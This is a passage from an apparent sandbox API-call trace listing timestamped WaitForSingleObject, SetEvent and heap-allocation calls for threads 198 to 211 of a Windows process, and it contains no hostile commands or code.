WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.593] SetEvent (hEvent=0x1a4) returned 1 [0068.593] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.668] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.740] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.806] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.860] SetEvent (hEvent=0x1a4) returned 1 [0068.860] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.912] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.978] SetEvent (hEvent=0x1a4) returned 1 [0068.978] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0069.128] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) Thread: id = 198 os_tid = 0x94c [0067.760] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0067.904] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0067.947] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.001] SetEvent (hEvent=0x1a4) returned 1 [0068.001] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.059] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.130] SetEvent (hEvent=0x1a4) returned 1 [0068.130] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.191] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.258] SetEvent (hEvent=0x1a4) returned 1 [0068.258] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.329] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.387] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.461] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.541] SetEvent (hEvent=0x1a4) returned 1 [0068.541] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.620] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.688] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.753] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.816] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.864] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.926] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0069.058] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0069.137] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) Thread: id = 199 os_tid = 0xc4 [0067.761] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0067.903] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0067.949] SetEvent (hEvent=0x1a4) returned 1 [0067.949] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.001] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.061] SetEvent (hEvent=0x1a4) returned 1 [0068.061] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.130] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.192] SetEvent (hEvent=0x1a4) returned 1 [0068.192] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.258] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.329] SetEvent (hEvent=0x1a4) returned 1 [0068.329] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.386] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.461] SetEvent (hEvent=0x1a4) returned 1 [0068.461] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.540] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.621] SetEvent (hEvent=0x1a4) returned 1 [0068.621] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.687] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.753] SetEvent (hEvent=0x1a4) returned 1 [0068.753] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.815] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.864] SetEvent (hEvent=0x1a4) returned 1 [0068.864] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.926] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0069.058] SetEvent (hEvent=0x1a4) returned 1 [0069.058] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0069.139] SetEvent (hEvent=0x1a4) returned 1 [0069.139] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) Thread: id = 200 os_tid = 0x8bc [0067.784] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0067.790] SetEvent (hEvent=0x190) returned 1 [0067.790] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0067.905] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.008] SetEvent (hEvent=0x190) returned 1 [0068.008] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.087] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.162] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.234] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.319] SetEvent (hEvent=0x190) returned 1 [0068.319] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.378] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.494] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.594] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.689] SetEvent (hEvent=0x190) returned 1 [0068.689] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.765] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.831] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.914] SetEvent (hEvent=0x190) returned 1 [0068.914] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.979] SetEvent (hEvent=0x190) returned 1 [0068.979] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0069.140] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) Thread: id = 201 os_tid = 0x8e0 [0067.785] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0067.790] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0067.905] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.008] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.088] SetEvent (hEvent=0x190) returned 1 [0068.088] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.163] SetEvent (hEvent=0x190) returned 1 [0068.163] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.251] SetEvent (hEvent=0x190) returned 1 [0068.251] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.330] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.388] SetEvent (hEvent=0x190) returned 1 [0068.388] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.515] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.608] SetEvent (hEvent=0x190) returned 1 [0068.608] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.703] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.766] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.843] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.915] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.979] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0069.139] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) Thread: id = 202 os_tid = 0x944 [0067.785] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0067.790] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0067.906] SetEvent (hEvent=0x190) returned 1 [0067.906] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.008] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.080] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.151] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.234] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.307] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.377] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.443] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.571] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.670] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.754] SetEvent (hEvent=0x190) returned 1 [0068.754] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.817] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.892] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.978] SetEvent (hEvent=0x190) returned 1 [0068.978] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0069.131] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) Thread: id = 203 os_tid = 0x11c [0067.785] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0067.794] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x1000) returned 0x3b797a0 [0067.794] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b797a0, Size=0x2000) returned 0x3b797a0 [0067.794] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b797a0, Size=0x4000) returned 0x3b63760 [0067.794] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x180) returned 0x3b2b30 [0067.794] SetEvent (hEvent=0x190) returned 1 [0067.794] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0067.906] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.025] SetEvent (hEvent=0x190) returned 1 [0068.025] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.101] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.179] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.251] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.330] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.388] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.515] SetEvent (hEvent=0x190) returned 1 [0068.515] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.608] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.704] SetEvent (hEvent=0x190) returned 1 [0068.704] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.765] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.843] SetEvent (hEvent=0x190) returned 1 [0068.843] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.915] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.979] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0069.140] SetEvent (hEvent=0x190) returned 1 [0069.140] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) Thread: id = 204 os_tid = 0x880 [0067.785] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0067.793] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x1000) returned 0x3b71790 [0067.793] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b71790, Size=0x2000) returned 0x3b71790 [0067.793] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b71790, Size=0x4000) returned 0x3b63760 [0067.793] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63760, Size=0x8000) returned 0x3b71790 [0067.794] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0067.906] SetEvent (hEvent=0x190) returned 1 [0067.907] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.024] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.101] SetEvent (hEvent=0x190) returned 1 [0068.101] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.180] SetEvent (hEvent=0x190) returned 1 [0068.180] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.259] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.331] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.398] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.528] SetEvent (hEvent=0x190) returned 1 [0068.528] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.623] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.717] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.781] SetEvent (hEvent=0x190) returned 1 [0068.781] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.853] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.929] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0069.088] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0069.168] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) Thread: id = 205 os_tid = 0x15c [0067.785] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0067.791] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x180) returned 0x3b2db0 [0067.791] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x1000) returned 0x3b63760 [0067.792] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63760, Size=0x2000) returned 0x3b63760 [0067.792] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63760, Size=0x4000) returned 0x3b65770 [0067.792] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65770, Size=0x8000) returned 0x3b69780 [0067.793] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0067.905] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.007] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.079] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.150] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.219] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.306] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.365] SetEvent (hEvent=0x190) returned 1 [0068.365] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.443] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.571] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.670] SetEvent (hEvent=0x190) returned 1 [0068.670] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.754] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.817] SetEvent (hEvent=0x190) returned 1 [0068.817] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.892] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.962] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0069.119] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) Thread: id = 206 os_tid = 0x3d0 [0067.785] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0067.847] SetEvent (hEvent=0x190) returned 1 [0067.848] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0067.937] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x180) returned 0x3b63760 [0067.937] SetEvent (hEvent=0x190) returned 1 [0067.937] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.036] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.101] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.192] SetEvent (hEvent=0x190) returned 1 [0068.192] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.271] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.341] SetEvent (hEvent=0x190) returned 1 [0068.341] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.410] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.529] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.633] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.718] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.780] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.853] SetEvent (hEvent=0x190) returned 1 [0068.853] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.928] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0069.088] SetEvent (hEvent=0x190) returned 1 [0069.088] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0069.167] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) Thread: id = 207 os_tid = 0x5a4 [0067.786] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0067.847] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0067.936] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.036] SetEvent (hEvent=0x190) returned 1 [0068.036] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.101] SetEvent (hEvent=0x190) returned 1 [0068.101] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.192] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.271] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.341] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.411] SetEvent (hEvent=0x190) returned 1 [0068.411] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.528] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.633] SetEvent (hEvent=0x190) returned 1 [0068.633] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.729] SetEvent (hEvent=0x190) returned 1 [0068.729] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.796] SetEvent (hEvent=0x190) returned 1 [0068.796] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.866] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.938] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0069.088] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0069.168] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) Thread: id = 208 os_tid = 0x540 [0067.786] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0067.847] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0067.936] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.035] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.100] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.179] SetEvent (hEvent=0x190) returned 1 [0068.179] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.259] SetEvent (hEvent=0x190) returned 1 [0068.259] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.331] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.410] SetEvent (hEvent=0x190) returned 1 [0068.410] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.529] SetEvent (hEvent=0x190) returned 1 [0068.529] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.634] SetEvent (hEvent=0x190) returned 1 [0068.634] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.729] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.796] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.866] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.947] SetEvent (hEvent=0x190) returned 1 [0068.947] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0069.107] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) Thread: id = 209 os_tid = 0x534 [0067.786] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0067.847] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0067.936] SetEvent (hEvent=0x190) returned 1 [0067.936] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.035] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.100] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.179] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.251] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.330] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.397] SetEvent (hEvent=0x190) returned 1 [0068.397] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.516] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.623] SetEvent (hEvent=0x190) returned 1 [0068.623] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.717] SetEvent (hEvent=0x190) returned 1 [0068.718] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.781] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.853] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.929] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0069.088] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0069.168] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) Thread: id = 210 os_tid = 0x9dc [0067.786] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0067.852] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x1000) returned 0x3b683b0 [0067.852] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x180) returned 0x3b693c0 [0067.852] SetEvent (hEvent=0x190) returned 1 [0067.852] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0067.953] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.049] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.119] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.192] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.271] SetEvent (hEvent=0x190) returned 1 [0068.271] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.341] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.410] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.528] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.624] SetEvent (hEvent=0x190) returned 1 [0068.624] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.718] SetEvent (hEvent=0x190) returned 1 [0068.718] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.795] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.865] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.938] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0069.089] SetEvent (hEvent=0x190) returned 1 [0069.089] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0069.168] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) Thread: id = 211 os_tid = 0x9ec [0067.786] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0067.849] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x1000) returned 0x3b683b0 [0067.849] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b683b0, Size=0x2000) returned 0x3b63760 [0067.849] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63760, Size=0x4000) returned 0x3b63760 [0067.849] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63760, Size=0x8000) returned 0x3b897c0 [0067.850] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x1000) returned 